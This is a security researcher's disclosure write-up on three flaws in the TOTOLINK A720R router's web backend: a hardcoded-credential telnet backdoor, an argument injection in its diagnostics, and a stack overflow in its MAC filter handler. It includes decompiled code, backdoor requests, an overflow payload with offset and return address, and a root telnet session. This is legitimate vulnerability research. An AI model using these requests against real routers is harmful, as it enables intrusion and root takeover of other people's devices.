Three Bugs in One Binary: A Vulnerability Research Walkthrough on the TOTOLINK A720R (CVE-2025-63821, CVE-2026-82539)
Description
I bought a TOTOLINK A720R specifically for this. TOTOLINK was a vendor I had never done any research on, so I picked up one of their models to take a look. It looked like an easy target: a small SOHO router with a web-based admin panel and the usual embedded stack. What started as a quick look at the web interface turned into three separate findings, all reachable through the same binary, cstecgi.cgi, which handles almost the entire web UI.
The three issues are:
- A telnet backdoor reachable by an unauthenticated attacker on the LAN. A hardcoded 9-byte secret plus a date-derived “code” unlock a hidden
action=telnetbranch that startstelnetdand hands out a root shell. There is no CVE for it: I reported it to VulDB and it was flagged as a duplicate of an older entry, even though that entry targets an older firmware and the mechanism here is not quite the same. - An argument injection in the diagnostics features (
setDiagnosisCfgandsetTracerouteCfg), tracked as CVE-2025-63821, currently in RESERVED state. Insufficient sanitization of the IP address field lets an authenticated attacker inject extra arguments into the underlying command, and a#character permanently bricks the Diagnosis feature. - A stack buffer overflow in the
setMacFilterRuleshandler, tracked as CVE-2026-82539, published. An unboundedstrcpy()of thedescparameter overwrites the saved return address and gives an authenticated attacker reliable control over the execution flow ofcstecgi.cgi.
This writeup documents the research activity as a whole, how the device was taken apart and how each of the three bugs was found, rather than focusing on a single CVE.
Affected
- Device: TOTOLINK A720R
- Vendor’s website: TOTOLINK
- Firmware version: V4.1.5cu.630_B20250509
- Firmware download address: TOTOLINK
TOTOLINK was contacted in September 2025 and has not responded since, so no fixed firmware is available at the time of writing. CVE-2026-82539 is published, CVE-2025-63821 is reserved, and the telnet backdoor has no CVE assigned.
Advisories
The research produced three findings. They are summarized here and dissected in the Technical Walkthrough.
| # | Vulnerability | Type | CVE | Status |
|---|---|---|---|---|
| 1 | Telnet backdoor (hardcoded credentials, hidden branch) | CWE-798 (Use of Hard-coded Credentials) | none | No CVE, reported to VulDB, flagged as duplicate |
| 2 | Argument injection in setDiagnosisCfg / setTracerouteCfg | CWE-88 (Argument Injection) | CVE-2025-63821 | Reserved |
| 3 | Stack buffer overflow in setMacFilterRules | CWE-119 (Memory Corruption) | CVE-2026-82539 | Published |
All three live in the same binary, cstecgi.cgi, located at /cgi-bin/cstecgi.cgi.
1. Telnet Backdoor (No CVE)
| Field | Value |
|---|---|
| Component | cstecgi.cgi, action=telnet branch |
| Affected version | V4.1.5cu.630_B20250509 |
| Impact | Telnet service enabled and root shell via a hardcoded firmware credential |
| CVE | none assigned |
| Status | Reported to VulDB, classified as a duplicate of an older entry |
| CVSS 4.0 | 8.7 (High), CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
A hidden request branch, gated by a 9-byte hardcoded secret and by the device’s current date in MMDDYYYY format, arms and then starts telnetd. Because the branch is reached before any authentication check, an attacker on the LAN who knows the static secret (which can be pulled from the firmware dump) can enable telnet and log in as root.
Note on the duplicate classification: the VulDB entry this was merged into refers to an older firmware release. On V4.1.5cu.630_B20250509 the activation path is gated behind the date-derived code value and a two-step sequence (enable=1 then enable=2), which differs from the previously documented behavior. I list it here as a variant that is different enough to be worth writing up, while acknowledging the duplicate call.
2. Argument Injection (CVE-2025-63821)
| Field | Value |
|---|---|
| Component | cstecgi.cgi, FUN_0041f1ac (setDiagnosisCfg) and FUN_0041f0e4 (setTracerouteCfg); validation in libmystdlib.so |
| Affected version | V4.1.5cu.630_B20250509 |
| Impact | Argument injection into the diagnostic command (via -), permanent denial of service of the Diagnosis feature (via #) |
| CVE | CVE-2025-63821 |
| CVE state | RESERVED |
| CVSS 4.0 | 4.8 (Medium), CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |
The Validity_check routine does not adequately sanitize the ip_addr buffer, which is populated directly from the request. A - prefix turns the value into an option for the underlying ping or traceroute invocation (argument injection in both features), and a # character leaves the Diagnosis feature permanently unresponsive.
3. Stack Buffer Overflow (CVE-2026-82539)
| Field | Value |
|---|---|
| Component | cstecgi.cgi, setMacFilterRules handler (FUN_0041cdfc, 0x0041cdfc) |
| Affected version | V4.1.5cu.630_B20250509 |
| Impact | Control-flow hijacking of the cstecgi.cgi process (control of the saved return address and instruction pointer) via code reuse |
| CVE | CVE-2026-82539 |
| CVE state | PUBLISHED |
| CVSS 4.0 | 9.4 (Critical), CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P |
The desc parameter of the MAC filter rule is copied into a fixed-size stack buffer with strcpy() and no bounds check, overwriting the saved return address. The binary ships without stack canaries and without PIE, so redirecting execution into code that already exists in the binary is reliable regardless of ASLR.
Impact
Taken together, the three findings mean that:
- an unauthenticated attacker on the LAN can get a root shell through the telnet backdoor;
- an authenticated attacker can inject arguments into the diagnostic commands and permanently disable the Diagnosis feature (CVE-2025-63821);
- an authenticated attacker can hijack the control flow of
cstecgi.cgiand drive it through existing code paths, the most useful being the one that enables the telnet service (CVE-2026-82539).
Full arbitrary RCE with an interactive shell was not achieved through the buffer overflow. The demonstrated result is control-flow hijacking via reuse of existing code.
Technical Walkthrough
The plan was the usual one: pull the firmware, extract the filesystem, and map the attack surface of the web interface. It became clear very quickly that almost everything interesting funnels through a single binary, cstecgi.cgi, so most of the research time went into reversing that one. The three bugs are presented here in the order I actually found them: the telnet backdoor first, then the argument injection, then the buffer overflow.
Getting the Firmware Open
I downloaded the firmware for V4.1.5cu.630_B20250509 from the vendor site and ran it through binwalk:
$ binwalk firmware.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
76 0x4C bzip2 compressed data, block size = 900k
321636 0x4E864 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7183364 bytes
2510982 0x265086 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2597067 bytes, 1024 inodes, blocksize: 131072 bytes, created: 2038-05-30 11:22:40
I carved out the SquashFS image with dd and unpacked it with unsquashfs:
$ ls squashfs-root
bin dev etc init lib lighttp root tmp usr web_cste
Note: the firmware file was renamed to
firmware.binfor readability.
The admin interface is served by lighttpd 1.4.59 (from the Server header) through mod_cgi, which forks and executes a single binary for every request: /cgi-bin/cstecgi.cgi. In practice this one binary is the whole backend: every HTTP request the web UI receives ends up here, and cstecgi.cgi is what actually carries out the requested operation. It also ships with no stack canary and no PIE, which becomes important later on.
Inside, cstecgi.cgi works as a dispatcher: it reads the parameters of the incoming request and routes them to whichever internal function should handle them, mixing an older, query-string based style with newer JSON requests.
The Telnet Backdoor
One of the branches in that dispatcher is keyed on action=telnet, and it is handled before the JSON parsing and before the session token check, which makes it reachable with no authentication at all. It expects four parameters in a fixed order, action=telnet&enable=<0|1|2>&password=<base64>&code=<MMDDYYYY>, and validates them one by one:
// action=telnet branch: reached before JSON parsing and before the session token check
iVar2 = strcmp(local_628,"enable");
if ((iVar2 == 0) && (uVar8 < 3)) { // enable must be 0, 1 or 2
getNthValueSafe(2,pcVar4,0x26,asStack_428,0x100); // split on '&'
getNthValueSafe(0,asStack_428,0x3d,local_628,0x80); // split on '=' -> key
getNthValueSafe(1,asStack_428,0x3d,local_5a8,0x80); // split on '=' -> value
iVar2 = strcmp(local_628,"password");
if (iVar2 == 0) {
zc_base64_encode(&DAT_00430e9c,acStack_328,9); // base64 of a 9-byte hardcoded secret
iVar2 = strcmp(local_5a8,acStack_328); // supplied password must equal it
if (iVar2 == 0) {
// [...] same positional parsing for the 4th parameter
iVar2 = strcmp(local_628,"code");
if (iVar2 == 0) {
getCmdStr("date \'+%m%d%Y\'",asStack_428,0x100); // today's date, MMDDYYYY
iVar2 = strcmp((char *)asStack_428,local_5a8); // supplied code must equal it
if (iVar2 == 0) {
f_read("/tmp/switch_en",local_5a8,0x80); // read persisted state
if (uVar8 == 0) { // enable=0 -> tear everything down
system("killall telnetd 2> /dev/null");
system("killall UDPserver 2> /dev/null");
system("rm -f /var/lock/tlt.lock");
f_write("/tmp/switch_en","0",1,0,0);
}
// [...]
So there is a 9-byte secret hardcoded at 0x00430e9c, base64-encoded into 12 characters with no padding, and the password parameter has to match that string exactly. The code parameter has to match the output of date '+%m%d%Y', the device’s current date as MMDDYYYY, which is a weak and predictable secret tied entirely to the device clock; with no NTP sync an attacker only has a small range to brute force.
What happens next depends on enable, with a state persisted in /tmp/switch_en. The enable=1 request is where the actual activation happens:
else if (uVar8 == 1) {
iVar2 = atoi(local_5a8); // value previously read from /tmp/switch_en
if (iVar2 == 2) { // fires only if /tmp/switch_en already reads 2
zc_base64_encode(&DAT_00430e9c,acStack_7e8,9);
sprintf(acStack_228,"echo \"%s\" > /var/tmppwd",acStack_7e8);
system(acStack_228);
sprintf(acStack_228,"echo \"%s\" >> /var/tmppwd",acStack_7e8);
system(acStack_228);
system("passwd < /var/tmppwd"); // root password := base64(secret)
system("rm -f /var/tmppwd");
system("echo 1 > /var/lock/tlt.lock");
system("telnetd &"); // telnet service up
RunSysCmd(0,"lktos_reload","UDPServerUp","");
iVar2 = f_exist("/var/lock/getty.lock");
if (iVar2 == 0) {
system("echo 1 > /var/lock/getty.lock");
system("/bin/getty -L ttyS0 38400 vt100 &"); // serial console too
}
}
}
The base64 of the same hardcoded secret is written to /var/tmppwd (twice, so passwd reads it as the new password and its confirmation) and applied to root with passwd. Then telnetd is started. In practice, the sequence that reliably enables telnet is enable=1 followed by enable=2, both using the same password and code, and the root login password ends up being base64(secret), the same value that goes in the password parameter:
GET /cgi-bin/cstecgi.cgi?action=telnet&enable=1&password=BASE64_SECRET_REDACTED&code=07112026 HTTP/1.1
Host: 192.168.0.1
GET /cgi-bin/cstecgi.cgi?action=telnet&enable=2&password=BASE64_SECRET_REDACTED&code=07112026 HTTP/1.1
Host: 192.168.0.1
The real value at 0x00430e9c was pulled from the raw firmware bytes (objdump -s -j .rodata, or Ghidra) rather than guessed. Using that secret and the current date, this sequence enabled telnet without issues. The stack overflow covered further down reaches the same telnetd-start code through a completely different path, without needing the password or the code at all.
Argument Injection in the Diagnostics Pages
The admin panel exposes a Diagnosis (ping) feature and a Route Tracking (traceroute) feature. Both take an IP address from the request and hand it to an underlying system command, which is always a good place to look. The handlers are FUN_0041f1ac (setDiagnosisCfg) and FUN_0041f0e4 (setTracerouteCfg), and both build the command the same way:
// setDiagnosisCfg (ping)
test = Validity_check(ip_addr);
if (test == 0) {
sprintf(command,"ping %s -w %d [...]",ip_addr,num_int); // trailing args redacted
system(command);
}
// setTracerouteCfg (traceroute)
iVar1 = Validity_check(ip_addr);
if (iVar1 == 0) {
sprintf(acStack_90,"traceroute -w 4 -m %d %s [...]",num_int,ip_addr); // trailing args redacted
system(acStack_90);
}
ip_addr goes straight into the format string as %s, so the only thing standing between the request and system() is Validity_check, a shared helper in libmystdlib.so:
// Validity_check() - libmystdlib.so
// returns 0 (accepted) unless the input contains one of the blocked characters
undefined4 Validity_check(char *param_1)
{
char *pcVar1;
pcVar1 = strchr(param_1,0x3b); // ';'
if ((((((pcVar1 == (char *)0x0) &&
(pcVar1 = strstr(param_1,PTR_00024c84 + 0x4adc), pcVar1 == (char *)0x0)) &&
(pcVar1 = strstr(param_1,PTR_00024c84 + 0x4ae0), pcVar1 == (char *)0x0)) &&
((pcVar1 = strstr(param_1,PTR_00024c84 + 0x4aec), pcVar1 == (char *)0x0 &&
(pcVar1 = strchr(param_1,0x26), pcVar1 == (char *)0x0)))) && // '&'
((pcVar1 = strchr(param_1,0x7c), pcVar1 == (char *)0x0 && // '|'
((pcVar1 = strchr(param_1,0x60), pcVar1 == (char *)0x0 && // '`'
(pcVar1 = strchr(param_1,0x24), pcVar1 == (char *)0x0)))))) && // '$'
(pcVar1 = strchr(param_1,10), pcVar1 == (char *)0x0)) { // '\n'
return 0;
}
return 1;
// note: '-' and '#' are never checked
}
It is a character blocklist, and it misses - and #. Both are easy to reach: the Diagnosis and Route Tracking requests can be replayed through Burp Suite with a tampered address field.
Sending a value that starts with - gets it passed straight to traceroute (or ping), where it is parsed as an option instead of a host. The device reflects the error back into the page:

Sending a # is worse: it ends up in the middle of the sprintf-built command and comments out everything after it, and the Diagnosis feature is then left permanently unresponsive, surviving reloads and reboots:

This one is Medium severity (CVSS 4.0 4.8). It needs an authenticated admin session and LAN access and it does not lead to code execution on its own. What it does give is argument injection into two diagnostic commands plus a persistent denial of service of the Diagnosis feature.
The setMacFilterRules Stack Overflow
The setMacFilterRules action configures MAC filtering rules and is handled by FUN_0041cdfc at 0x0041cdfc. It reads its parameters from the request with websGetVar, and the relevant ones for the addEffect==1 branch (add a new rule) are mac, desc and addEffect:
undefined4 setMacFilterRules(undefined4 param_1)
{
// [...]
undefined1 auStack_c8 [6];
char acStack_c2 [22]; // destination buffer: 22 bytes
// [...]
pcVar2 = (char *)websGetVar(param_1,&DAT_0042d1c8,""); // "mac"
__src = (char *)websGetVar(param_1,&DAT_0042d184,""); // "desc" (read until a NUL byte)
iVar4 = FUN_004291bc(pcVar2); // MAC format check
if (iVar4 == 0) goto LAB_0041d1f0;
if (iVar3 == 1) { // addEffect == 1
// [...] iterate existing rules, reject a duplicate MAC
// strip ':' out of the MAC into local_58
cVar1 = *pcVar2;
while (cVar1 != '\0') {
if (cVar1 != ':') {
*(char *)((int)&local_58 + iVar3) = cVar1;
iVar3 = iVar3 + 1;
}
pcVar2 = pcVar2 + 1;
cVar1 = *pcVar2;
}
// [...]
FUN_00426d44(&local_58,auStack_c8,sVar5); // packed 6-byte MAC
strcpy(acStack_c2,__src); // "desc" -> 22-byte buffer, no size check
apmib_set(0x2007e,auStack_c8);
apmib_set(0x1007d,auStack_c8);
desc is copied into acStack_c2, a 22-byte stack buffer, with a plain strcpy() and no length check. A long enough desc runs off the end of the buffer and over the saved return address.
The obvious candidate would have been mac, but it goes through FUN_004291bc, which requires exactly 17 characters in XX:XX:XX:XX:XX:XX form, with isxdigit on every pair and : as separators. The length is rigidly fixed, so there is no overflow through mac. The :-stripping loop that follows is bounded by that same validation.
Reaching the handler needs an authenticated admin session, which is where the PR:H in the CVSS vector comes from.
Overflowing desc with a long run of A is enough to crash cstecgi.cgi, which lighttpd reports back as a plain 500:

Turning the overflow into control of the instruction pointer
The stack and libc are randomized, but the binary is non-PIE at 0x00400000 with no canary, so rather than putting shellcode on the randomized stack I redirected execution into code that already exists in the CGI’s .text, at a fixed address. As a first step I pointed the saved return address at a jal sleep inside .text and used sleep as a timing oracle: if the HTTP response comes back delayed on command, the program counter is under control. This also plays nicely with the MIPS delay slot, since the instruction right after jal executes before the branch is taken and is where $a0 gets loaded, so landing on the jal sleep runs sleep(N) with N coming from the delay slot, with no extra setup.
One practical obstacle was the null byte at the end of the target address. Because the value transits strcpy, which stops at the first \0, only the low three bytes go in the payload and strcpy appends the terminator itself, reconstructing the full four-byte address on the stack. The bigger obstacle was an encoding issue: with a JSON body serialized as ASCII, the high bytes of the address came back as \uXXXX escapes, which the device’s JSON parser (cJSON, libcjson.so) decoded into Unicode codepoints and re-encoded as UTF-8, so 0xEC turned into 0xC3 0xAC and every offset after it shifted. The tell was the stored description showing up as aaaìþAaaa in the UI. Sending the body as raw latin1 (one byte per character) and checking that no 0xC3 sneaks in fixed it.
The distance from the start of desc to the saved return address was first estimated statically, by looking at how Ghidra lays out the stack frame around acStack_c2 in the decompiled function. That gave a starting point, but the precise value shifts slightly at runtime, so the final number was pinned down with a byte-by-byte brute force on top of that estimate. The fixed base 0x00400000 and the absence of any shift were confirmed through /proc/<pid>/maps, checked directly on the device at runtime using the shell access gained through the telnet backdoor described earlier; the CGI itself does not show up there because it is ephemeral, fork+exec per request, which is normal for mod_cgi.
Once the offset was known, the payload sent in desc is just two parts:
| Part | Bytes | Purpose |
|---|---|---|
| Padding | "A" * 190 | fills the stack from the start of desc up to the saved return address |
| Return address | \xb4\x5c\x42 | low 3 bytes of 0x00425cb4; strcpy() writes the 4th byte (\x00) as its terminator |
0x00425cb4 is a routine that runs system("telnet &"). Jumping there enables the telnet service directly, without going through any of the action=telnet checks:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
{"mac":"AA:BB:CC:AA:BB:CC","desc":"AAAA...[190 bytes of padding]...\xb4\x5c\x42","addEffect":"1","topicurl":"setMacFilterRules","token":"<token>"}
$ nmap 192.168.0.1 -p23
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-11 13:51 +0000
Nmap scan report for 192.168.0.1
Host is up (0.0019s latency).
PORT STATE SERVICE
23/tcp open telnet
Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds
From there, telnet is reachable and root logs in with the password baked into the firmware image:
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
TOTOLINK login: root
Password:
RLX Linux version 2.0
_ _ _
| | | ||_|
_ _ | | _ _ | | _ ____ _ _ _
| |/ || |\ \/ / | || | _ \| | | |
| |_/ | |/ \ | || | | | | |_| |
|_| |_|\_/\_/ |_||_|_| |_|\____|
For further information check:
http://processor.realtek.com/
# ls
bin etc init lighttp proc sys usr web_cste
dev home lib mnt root tmp var
The same primitive can reach other routines already present in the binary, such as a system reboot, session logout or log-clearing. I am not showing those here; enabling telnet is the one that matters, because it turns an authenticated overflow into a persistent root foothold. Full arbitrary RCE and an interactive shell were not obtained: the result is control-flow hijacking through reuse of existing code.
Conclusions
Three findings, one binary. cstecgi.cgi concentrates the entire web UI attack surface and mixes a legacy, unauthenticated query-string dispatcher with the modern JSON handlers, on a non-PIE MIPS build with no stack canaries. That combination is what made all three bugs both easy to reach and, for the overflow, practical to exploit.
All three are fairly serious, but the telnet backdoor is the one I would flag first. By itself it is already a cheap way in: the action=telnet branch runs before any authentication, and a hardcoded 9-byte secret plus a predictable date-based code are enough to start telnetd and log in as root, with a password that is base64(secret) and therefore recoverable from the firmware. The code check is the only real barrier, and it is clearly insufficient, being tied to the device clock and limited to a small range of values.
The buffer overflow makes this worse rather than being a separate problem. The control-flow hijack can jump straight to 0x00425cb4 (system("telnet &")), enabling the telnet service without any of the action=telnet validation, code included, and then root logs in with the same firmware-known password. In practice the two issues combine into a dependable route to a root shell on the device.
Disclosure Timeline
| Date | Action |
|---|---|
| Sep 2025 | Vendor contacted |
| 10 Nov 2025 | CVE-2025-63821 assigned for the argument injection |
| Sep 2025 to present | No response received from the vendor |
| 29 Aug 2026 | CVE-2026-82539 published for the stack buffer overflow |
| 12 Sep 2026 | This writeup published |
References
- CVE Program, “CVE-2025-63821”, https://www.cve.org/CVERecord?id=CVE-2025-63821
- CVE Program, “CVE-2026-82539”, https://www.cve.org/CVERecord?id=CVE-2026-82539
- VulDB, “CVE-2026-82539”, https://vuldb.com/cve/CVE-2026-82539
- Xernary, “CVE-2025-63821 Argument Injection advisory”, https://github.com/Xernary/CVE-2025-63821
- Xernary, “TOTOLINK A720R Telnet Backdoor advisory”, https://github.com/Xernary/a720r-telnet-backdoor
- Xernary, “CVE-2026-82539 Stack Buffer Overflow advisory”, https://github.com/Xernary/CVE-2026-82539
- TOTOLINK, firmware download, https://www.totolink.net